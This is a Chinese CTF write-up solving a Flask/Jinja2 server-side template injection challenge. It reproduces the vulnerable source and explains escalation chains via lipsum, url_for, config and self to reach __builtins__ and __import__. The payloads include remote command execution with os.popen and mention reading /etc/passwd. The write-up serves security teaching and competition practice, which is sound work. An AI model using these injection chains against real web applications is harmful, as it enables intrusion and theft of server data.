NewStar CTF 2025 Week3-who’ssti
提交你的代码,让后端看看你的厉害!
提交一下:
尝试调用到这些函数!
fmean
get_close_matches
randint
findall
mean

看到题目ssti也看到了注入点,但是尝试一些模板注入的payload发现没用?为什么呢?因为flag不能被直接调用————详见源码第12行
尝试读源码,看看这些函数是不是一定要调用才能完成这道题目
1.源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from flask import Flask, jsonify, request, render_template_string, render_template import sys, random
func_List = ["get_close_matches", "dedent", "fmean", "listdir", "search", "randint", "load", "sum", "findall", "mean", "choice"] need_List = random.sample(func_List, 5) //随机抽取五个函数名 need_List = dict.fromkeys(need_List, 0) //每个键值初始都为0 BoleanFlag = False RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}") # 清除 ICQ_FLAG __import__("os").environ["ICQ_FLAG"] = "" //flag内容被清空
def trace_calls(frame, event, arg): if event == 'call': func_name = frame.f_code.co_name # print(func_name) if func_name in need_List: //只有使用过的函数,它对应的键值才为1 need_List[func_name] = 1 if all(need_List.values()): //要满足所以函数名的键值都为1,我们才能使 BoleanFlag = True global BoleanFlag BoleanFlag = True return trace_calls
app = Flask(__name__) @app.route('/', methods=["GET", "POST"]) def index(): submit = request.form.get('submit') if submit: sys.settrace(trace_calls) print(render_template_string(submit)) sys.settrace(None) if BoleanFlag: return jsonify({"flag": RealFlag}) //这是我们的目标,为达到目标要满足BoleanFlag为true return jsonify({"status": "OK"}) return render_template_string('''<!DOCTYPE html> <html lang="zh-cn"> <head> <meta charset="UTF-8"> <title>首页</title> </head> <body> <h1>提交你的代码,让后端看看你的厉害!</h1> <form action="/" method="post"> <label for="submit">提交一下:</label> <input type="text" id="submit" name="submit" required> <button type="submit">提交</button> </form> <div style="margin-top: 20px;"> <p> 尝试调用到这些函数! </p> {% raw %}{% for func in funcList %}{% endraw %} <p>{% raw %}{{ func }}{% endraw %}</p> {% raw %}{% endfor %}{% endraw %} <div style="margin-top: 20px; color: red;"> <p> 你目前已经调用了 {% raw %}{{ called_funcs|length }}{% endraw %} 个函数:</p> <ul> {% raw %}{% for func in called_funcs %}{% endraw %} <li>{% raw %}{{ func }}{% endraw %}</li> {% raw %}{% endfor %}{% endraw %} </ul> </div> </body> <script> </script> </html>
''' , funcList = need_List, called_funcs = [func for func, called in need_List.items() if called])
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=False)
|
2.思路:一直注入点,按照逻辑做就行,即满足调用完提示中的五个函数,一个一个来
那么我们就先需要了解这几个函数
| 函数名 |
所属模块 |
作用 |
SSTI 调用示例 (部分) |
sum |
__builtins__ |
数值求和 |
sum([1,2]) |
search |
re |
正则搜索(找第一个) |
re.search('a','abc') |
findall |
re |
正则匹配(找所有) |
re.findall('\d','1a2') |
randint |
random |
产生随机整数 |
random.randint(1,10) |
choice |
random |
列表随机选一 |
random.choice([1,2]) |
fmean |
statistics |
快速浮点平均数 |
statistics.fmean([1,2]) |
mean |
statistics |
算术平均数 |
statistics.mean([1,2]) |
get_close_matches |
difflib |
文本模糊匹配 |
difflib.get_close_matches('a',['a']) |
dedent |
textwrap |
移除文本缩进 |
textwrap.dedent(' a') |
listdir |
os |
列出目录下的文件 |
os.listdir('.') |
load |
json |
将 JSON 流转为对象 |
json.load(fp) (注意需文件流) |
已知函数名和模块,那我们就可以一步步构造payload了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 一般ssti payload构造步骤:(想要类,找基类->想要基类,找对象)
第一步:找到一个在模板里默认就能访问到的对象。 常见包括: lipsum(生成乱数假文的函数) config(Flask 的配置对象) self(当前模板环境) url_for(生成 URL 的函数)
第二步:通过对象找到基类 或 全局函数 通过 .__class__ 找到 拿到的对象 的类, 再通过 .__mro__ 看到它的继承链,最终摸到 object 基类。
第三步:通过基类利用类 或者通全局变量利用变量 一旦有了基类或全局函数,就可以: 通过 __subclasses__() 查看内存里加载的所有类(比如 os._wrap_close)。 通过 __globals__ 查看该函数所在的模块里所有的变量。
|
3.exp:
以此题为例:
1. 对象:用 lipsum。
2. 找全局变量:lipsum.__globals__。
这会返回一个字典,里面包含了 lipsum 函数能看到的全部家当。
3. 找内置函数:在 __globals__ 里,一定有一个键叫 __builtins__。这是 Python 的心脏,存放着所有内置函数(sum, eval, __import__ 等)。
4. 加上函数 :lipsum.__globals__['__builtins__']['sum']。
最终: __RAW_BLOCK_16__{{__RAW_BLOCK_17__ lipsum.__globals__['__builtins__']['sum']([1,2]) __RAW_BLOCK_18__}}__RAW_BLOCK_19__
payload:
1 2 3 4 5
| __RAW_BLOCK_20__{% raw %}{{__RAW_BLOCK_21__ lipsum.__globals__['__builtins__']['__import__']('statistics').fmean([1.0, 2.0]) __RAW_BLOCK_22__}}{% endraw %}__RAW_BLOCK_23__ __RAW_BLOCK_24__{% raw %}{{__RAW_BLOCK_25__ lipsum.__globals__['__builtins__']['__import__']('difflib').get_close_matches('a',['a']) __RAW_BLOCK_26__}}{% endraw %}__RAW_BLOCK_27__ __RAW_BLOCK_28__{% raw %}{{__RAW_BLOCK_29__ lipsum.__globals__['__builtins__']['__import__']('re').findall('a', 'aaa') __RAW_BLOCK_30__}}{% endraw %}__RAW_BLOCK_31__ __RAW_BLOCK_32__{% raw %}{{__RAW_BLOCK_33__ lipsum.__globals__['__builtins__']['__import__']('random').randint(1, 10) __RAW_BLOCK_34__}}{% endraw %}__RAW_BLOCK_35__ __RAW_BLOCK_36__{% raw %}{{__RAW_BLOCK_37__ lipsum.__globals__['__builtins__']['__import__']('statistics').mean([1, 2]) __RAW_BLOCK_38__}}{% endraw %}__RAW_BLOCK_39__
|
其他三种方法:
1. 使用 url_for 构造
url_for 的全局命名空间里包含了很多有用的引用
构造: url_for → __globals__(全局变量) → __builtins__(内置函数)
1 2 3 4
| __RAW_BLOCK_40__{% raw %}{{__RAW_BLOCK_41__ url_for.__globals__['__builtins__']['__import__']('random').randint(1, 10) __RAW_BLOCK_42__}}{% endraw %}__RAW_BLOCK_43__
# 如果要执行系统命令 (RCE) __RAW_BLOCK_44__{% raw %}{{__RAW_BLOCK_45__ url_for.__globals__['os'].popen('ls').read() __RAW_BLOCK_46__}}{% endraw %}__RAW_BLOCK_47__
|
注:url_for 的全局变量里通常直接就有 os,甚至不需要再去 __import__。
2. 使用 config 构造
config 是 Flask 的配置对象,是一个类实例。可以通过它的 __class__ 回溯到基类,再通过 __init__ 函数进入全局命名空间。
构造: config → __class__ → __init__ → __globals__
1 2
| __RAW_BLOCK_48__{% raw %}{{__RAW_BLOCK_49__ config.__class__.__init__.__globals__['__builtins__']['__import__']('re').findall('a', 'aaa') __RAW_BLOCK_50__}}{% endraw %}__RAW_BLOCK_51__
|
3. 使用 self 构造
self 指向当前的 TemplateReference。
在 Jinja2 中,它有一个属性 __dict__ 存放了模板上下文,可以通过 _TemplateReference__context 找到一些底层函数(如 cycler 或 joiner),再通过它们跳到全局环境。
构造: self → _TemplateReference__context → cycler → __init__ → __globals__
1
| __RAW_BLOCK_52__{% raw %}{{__RAW_BLOCK_53__ self._TemplateReference__context.cycler.__init__.__globals__['__builtins__']['__import__']('statistics').mean([1, 2]) __RAW_BLOCK_54__}}{% endraw %}__RAW_BLOCK_55__
|
知识点:
1.flask

2.lipsum(生成乱数假文的函数)

3.os:(Operating System 模块)
是 Python 用来 与操作系统交互 的标准库,一旦在 Python 环境中成功加载了 os 模块,就拥有了执行系统指令的能力
os.listdir('.'):查看当前目录下有哪些文件(找 Flag 常用)。
os.remove('file'):删除文件。
- 常见使用
os.popen() 或 os.system():执行任意系统命令(比如 ls, cat /etc/passwd, whoami)。
4.builtins(内置模块)
是 Python 的一组核心功能。
不需要 import 任何东西,就可以直接使用的函数(如 print(), int(), len(), list())
因为 builtins 包含了一个威力巨大的函数:__import__。
在沙箱环境或模板引擎中,开发者通常会禁用直接的 import 语句。但如果你能访问到 builtins 对象,你就可以利用 __import__('os')
5.关于格式
. (点号):通常用来访问对象的属性(如 .class)。
[] (中括号):从字典里按名字取值,或者从列表里按序号取值。
() (小括号):在执行/调用函数时使用。